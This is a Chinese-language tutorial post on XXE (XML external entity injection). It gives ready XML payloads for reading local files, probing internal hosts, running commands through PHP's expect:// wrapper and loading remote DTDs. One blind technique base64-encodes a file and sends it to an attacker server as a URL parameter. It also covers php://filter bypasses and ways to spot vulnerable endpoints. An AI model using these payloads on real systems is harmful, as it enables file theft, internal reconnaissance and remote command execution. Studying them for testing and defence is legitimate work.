XXE和XML利用和绕过

XML和XXE的区别?

什么是XML?
XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。
什么是XXE?
XXE漏洞全称XMLExternal Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
总的来说:XML是一种传输的方式,XXE是XML传输中的一种漏洞。

xml基础:
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
在这里插入图片描述
在这里插入图片描述

利用方法:

#玩法-读文件

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>

#玩法-内网探针或攻击内网应用(触发漏洞地址),内网端口测试

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

#玩法-RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令

<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>

#引入外部实体 dtd(允许的条件下,类似与远程包含漏洞)(dtd格式文件当作xml代码执行)

<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">  #(远程访问dtd文件)
%file;
]>
<x>&send;</x>

evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/test.txt"> #(这个是dtd文件的代码)

#无回显-读取文件

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt">    # 读取text文件复制到file
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">  #请求这个地址
%dtd;
%send;
]>

test.dtd:
<!ENTITY % payload
"<!ENTITY &#x25; send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"   #file数据赋值到data  也就说将test文件的内容赋值到了data并保存了下来,看日志或者看抓包就可以看到内容。
>
%payload;

#协议-读文件(绕过)
参考绕过思路:https://www.cnblogs.com/20175211lyz/p/11413335.html

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

关键字绕过,编码绕过,各种协议绕过

漏洞发现

白盒:
函数及可控变量查找
传输和存储数据格式类型
黑盒:
查看数据传输的格式类型如<?xml><!DOCTYPE>等一些标签
查看Content-Type值判断:text/xml或者application/xml
更改Content-Type为xml值查看返回结果

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值